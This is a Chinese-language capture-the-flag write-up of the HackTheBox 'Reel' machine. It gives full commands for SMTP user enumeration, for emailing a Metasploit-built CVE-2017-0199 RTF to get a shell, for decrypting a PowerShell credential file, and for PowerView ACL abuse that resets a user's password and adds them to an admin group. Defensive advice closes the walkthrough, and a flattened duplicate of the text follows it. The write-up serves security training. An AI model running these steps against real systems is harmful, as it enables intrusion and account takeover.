Reel—在HackTheBox上的一次BloodHound & PowerSploit 活动目录渗透
字数 1457 2025-08-27 12:33:31

HackTheBox Reel靶机渗透实战教学文档

靶机概述

Reel是一个运行Windows系统的HackTheBox靶机,主要涉及以下技术点:

  • FTP匿名访问利用
  • 邮件服务枚举
  • CVE-2017-0199漏洞利用
  • PowerShell凭证解密
  • BloodHound活动目录审计
  • PowerSploit/PowerView权限提升
  • Active Directory权限滥用

初始信息收集

端口扫描

使用nmap进行服务版本扫描:

nmap -sV -sC 10.10.10.77

发现开放服务:

  • 21/tcp - FTP (Microsoft ftpd,允许匿名登录)
  • 22/tcp - SSH (OpenSSH 7.6)
  • 25/tcp - SMTP (邮件服务)

FTP枚举

匿名登录FTP并查看文件:

ftp 10.10.10.77
Name: anonymous
Password: (任意邮箱地址)
ls
cd documents
ls

发现三个文件:

  • AppLocker.docx
  • readme.txt
  • Windows Event Forwarding.docx

使用exiftool查看文档元数据:

exiftool "Windows Event Forwarding.docx"

发现创建者邮箱:nico@megabank.com

readme.txt内容:

please email me any rtf format procedures  —  I'll review and convert.
new format / converted documents will be saved here.

SMTP枚举

验证邮箱有效性:

telnet 10.10.10.77 25
HELO anything
MAIL FROM: <email@domain.com>
RCPT TO: <nico@megabank.com>  # 返回250 OK表示存在
RCPT TO: <nobody@megabank.com> # 返回550表示不存在
QUIT

初始立足点获取

CVE-2017-0199利用

使用Metasploit生成恶意RTF文件:

msfconsole
use exploit/windows/fileformat/office_word_hta
set FILENAME shell.rtf
set SRVHOST <你的IP>
set SRVPORT 8080
set LHOST <你的IP>
set LPORT 1234
run

使用swaks发送恶意文件:

swaks --to nico@megabank.com --server 10.10.10.77 --attach /root/.msf4/local/shell.rtf

成功获取meterpreter会话。

持久性访问

在nico桌面发现cred.xml文件:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

解密凭证:

$tom = Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
$tom.GetNetworkCredential().Password

得到明文密码:1ts-mag1c!!!

使用该凭证通过SSH连接:

ssh tom@10.10.10.77

权限提升

BloodHound分析

在tom的桌面发现"AD Audit"文件夹,包含BloodHound收集的数据。分析acls.csv发现:

  • tom对claire用户有WriteOwner权限
  • claire用户对Backup_Admins组有写入权限

PowerView利用

导入PowerView模块:

Import-Module 'C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1'
  1. 设置tom为claire对象的所有者:
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
  1. 添加重置密码权限:
Add-ObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
  1. 重置claire密码:
$UserPassword = ConvertTo-SecureString '1ts-mag1c!!!' -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword
  1. 创建凭证对象:
$Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
  1. 将claire加入Backup_Admins组:
Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $Cred

获取管理员权限

使用claire账户SSH登录后,在"Backup Scripts"目录发现BackupScript.ps1,其中包含管理员明文密码。

使用该密码通过SSH登录管理员账户获取root flag。

关键知识点总结

  1. FTP匿名访问:检查是否允许匿名登录,枚举可访问文件
  2. 文档元数据分析:使用exiftool等工具提取文档中的敏感信息
  3. SMTP用户枚举:通过RCPT TO命令验证邮箱有效性
  4. CVE-2017-0199:利用恶意RTF文件获取初始访问权限
  5. PowerShell凭证解密:Import-CliXml和GetNetworkCredential()方法
  6. BloodHound分析:理解Active Directory权限关系链
  7. PowerView利用
    • Set-DomainObjectOwner - 修改对象所有者
    • Add-ObjectAcl - 添加访问控制条目
    • Set-DomainUserPassword - 重置用户密码
    • Add-DomainGroupMember - 添加用户到组
  8. 权限滥用链:tom → claire → Backup_Admins → 管理员凭证

防御建议

  1. 禁用FTP匿名访问
  2. 及时安装Office安全补丁
  3. 避免在脚本中存储明文凭证
  4. 定期审计Active Directory权限
  5. 遵循最小权限原则
  6. 监控异常的用户权限变更
  7. 对敏感文档进行适当保护
HackTheBox Reel靶机渗透实战教学文档 靶机概述 Reel是一个运行Windows系统的HackTheBox靶机,主要涉及以下技术点: FTP匿名访问利用 邮件服务枚举 CVE-2017-0199漏洞利用 PowerShell凭证解密 BloodHound活动目录审计 PowerSploit/PowerView权限提升 Active Directory权限滥用 初始信息收集 端口扫描 使用nmap进行服务版本扫描: 发现开放服务: 21/tcp - FTP (Microsoft ftpd,允许匿名登录) 22/tcp - SSH (OpenSSH 7.6) 25/tcp - SMTP (邮件服务) FTP枚举 匿名登录FTP并查看文件: 发现三个文件: AppLocker.docx readme.txt Windows Event Forwarding.docx 使用exiftool查看文档元数据: 发现创建者邮箱:nico@megabank.com readme.txt内容: SMTP枚举 验证邮箱有效性: 初始立足点获取 CVE-2017-0199利用 使用Metasploit生成恶意RTF文件: 使用swaks发送恶意文件: 成功获取meterpreter会话。 持久性访问 在nico桌面发现cred.xml文件: 解密凭证: 得到明文密码: 1ts-mag1c!!! 使用该凭证通过SSH连接: 权限提升 BloodHound分析 在tom的桌面发现"AD Audit"文件夹,包含BloodHound收集的数据。分析acls.csv发现: tom对claire用户有WriteOwner权限 claire用户对Backup_ Admins组有写入权限 PowerView利用 导入PowerView模块: 设置tom为claire对象的所有者: 添加重置密码权限: 重置claire密码: 创建凭证对象: 将claire加入Backup_ Admins组: 获取管理员权限 使用claire账户SSH登录后,在"Backup Scripts"目录发现BackupScript.ps1,其中包含管理员明文密码。 使用该密码通过SSH登录管理员账户获取root flag。 关键知识点总结 FTP匿名访问 :检查是否允许匿名登录,枚举可访问文件 文档元数据分析 :使用exiftool等工具提取文档中的敏感信息 SMTP用户枚举 :通过RCPT TO命令验证邮箱有效性 CVE-2017-0199 :利用恶意RTF文件获取初始访问权限 PowerShell凭证解密 :Import-CliXml和GetNetworkCredential()方法 BloodHound分析 :理解Active Directory权限关系链 PowerView利用 : Set-DomainObjectOwner - 修改对象所有者 Add-ObjectAcl - 添加访问控制条目 Set-DomainUserPassword - 重置用户密码 Add-DomainGroupMember - 添加用户到组 权限滥用链 :tom → claire → Backup_ Admins → 管理员凭证 防御建议 禁用FTP匿名访问 及时安装Office安全补丁 避免在脚本中存储明文凭证 定期审计Active Directory权限 遵循最小权限原则 监控异常的用户权限变更 对敏感文档进行适当保护